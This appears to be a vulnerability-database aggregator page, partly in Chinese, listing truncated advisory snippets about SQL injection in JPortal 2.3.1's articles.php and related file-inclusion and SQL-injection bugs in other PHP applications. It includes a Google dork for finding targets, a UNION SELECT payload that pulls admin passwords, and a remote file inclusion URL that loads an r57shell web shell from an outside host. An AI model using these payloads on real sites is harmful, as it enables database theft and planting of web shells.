JPortal Articles.PHP SQL注入漏洞

JPortal是一款基于PHP的WEB应用程序。 JPortal不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息或操作数据库。 问题是'Articles.PHP'脚本对用户提交的'topic'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 JPortal 2.3.1 目前没有详细解决方案提供： http://www.jportal.info/downloadjportal.php...

jPORTAL <= 2.3.1 articles.php Remote SQL Injection Vulnerability

No description provided by source. Title:jPORTAL = 2.3.1 and Remote SQL Injection Vulnerability Dork: intext:"jPORTAL 2" & inurl:"articles.php?topic=" Autor: Alexsize E-Mail: [email protected] Site: Antichat.ru articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/ Vuln code: function...

jPORTAL <= 2.3.1 articles.php Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================ jPORTAL '.$r'title'.''; 0day.today 2018-01-10...

jPORTAL 2.3.1 - articles.php SQL Injection

jPORTAL 2.3.1 - articles.php SQL Injection Title:jPORTAL ='.$r'title'.''; C уважением, Alexsize. milw0rm.com 2007-11-09...

jPORTAL 2.3.1 - &#039;articles.php&#039; SQL Injection

Title:jPORTAL ='.$r'title'.''; C уважением, Alexsize. milw0rm.com 2007-11-09...

E-Vendejo 0.2 - Articles.php SQL Injection

E-Vendejo 0.2 - Articles.php SQL Injection source: https://www.securityfocus.com/bid/26330/info E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

Pie Cart Pro - Inc_Dir Remote File Inclusion

Pie Cart Pro - IncDir Remote File Inclusion ==================================================================== Pie Cart Pro = IncDir Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By SnIpErSA...

dotwidgeta.txt

Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...

CVE-2005-4034

Multiple SQL injection vulnerabilities in Web4Future eDating Professional 5 allow remote attackers to execute arbitrary SQL commands via the 1 s, 2 pg, and 3 sortb parameters to a index.php; 4 cid parameter to b gift.php and c fq.php; and 5 cat parameter to d articles.php...